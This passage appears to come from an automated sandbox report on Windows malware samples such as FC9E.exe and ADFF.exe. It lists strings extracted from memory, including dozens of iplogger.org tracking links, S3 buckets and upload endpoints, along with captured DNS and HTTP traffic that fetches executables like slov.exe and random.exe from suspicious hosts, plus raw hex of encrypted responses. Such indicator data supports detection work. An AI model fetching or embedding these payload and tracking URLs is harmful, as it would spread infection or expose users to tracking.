Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1b4887
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1bV787
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1fHtp7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1ibws7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1lcZz
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1mxKf7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nEWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nEYJ4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nQWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nRWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nRYJ4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nTWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nTYJ4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nWWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1ngVH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nhVH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1njVH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nkVH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nmWH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nnRF4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1ntLF4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nvRF4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1nxVH4
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1pcji7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1pdxr7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1q6Jt7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1rDMq7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1rDMq785https://iplogger.org/1rd8N686https://iplogger.org/1spuy788https://iplog
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1rd8N6
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1rqRg7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1s4qp7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1s5qp7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1spuy7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1tAnk7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1tEnk7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1tSnk7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1tTnk7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1tUnk7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1uS4i7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1uW6i7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1vb2Q7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1vk2Q7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1vv2Q7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1vx2Q7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1x5bg7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1xWbz7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://iplogger.org/1xvbz7
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://lgfftg.s3.eu-west-3.amazonaws.com/613jyr1
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://lgfftg.s3.eu-west-3.amazonaws.com/613jyr1https://htyjh.s3.ap-south-1.amazonaws.com/613fdh2ht
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://prntscr.com/upload.php
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://prntscr.com/upload.phphttps://prntscr.com/upload.php
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://sm.ms/api/v2/upload?inajax=1
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://uewrgu.s3.us-west-2.amazonaws.com/613dge3
Source: ADFF.exe, 00000018.00000003.531784036.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, ADFF.exe, 00000018.00000003.529484327.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/logo.png
Source: ADFF.exe, 00000018.00000003.531784036.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, ADFF.exe, 00000018.00000003.529484327.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/o
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.amazon.com/
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.aol.com
Source: 5449.exe, 00000026.00000003.582030728.0000000006642000.00000004.00000800.00020000.00000000.sdmp, Piramide.dotx.38.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Piramide.dotx.38.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.google.com
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.google.com/search?q=admob&oq=admob
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.icodeps.com/

Source: unknown

DNS traffic detected: queries for: monsutiur4.com

Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Host: www.icodeps.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nTYJ4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36Host: iplogger.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slov.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mkalgerie.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: i.xyzgamei.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/06dc6305622ca0ca43992ae64c25b80f.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: b.game2723.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 19 00 00 00 1d 3d 5a e2 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 5d c2 94 7b 44 5d 82 12 e8 0d 79 de 34 9e a5 1d de 28 0d 3c ca a0 48 14 4d 9c b3 9f 58 6e a3 dd 1a 49 70 ab b7 46 c7 aa 4f b1 2f d2 ed 6c c1 10 a5 0d 82 91 cf 3f ad c6 87 a8 60 33 15 e7 4b ad bc 73 5e 48 0e af dd bb 36 f8 37 33 3f 0c 89 3e ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 67 72 3b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 15 9e 1d ed 52 2b e5 cf 03 79 7e 45 f7 ff 92 d5 55 db c4 1d 13 13 bf 1e e0 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 18 17 7e 5f af 9a a0 44 c8 a0 c1 b9 dd 7a 0d 90 cf 1b e0 28 95 a9 a5 a1 f9 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 96 85 33 6c 4d 7c 0a 8d c7 5d 64 0c 3c be 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 b7 2a 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 37 74 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 9d ae ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 51 d3 12 51 8c 60 17 4b 81 8f df 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 26 e7 6e ec c3 ce 56 a3 4c 29 8e 1f d4 b4 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a 55 b1 7f 74 79 f0 ed 41 cc ef 8b 8b e1 7e 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 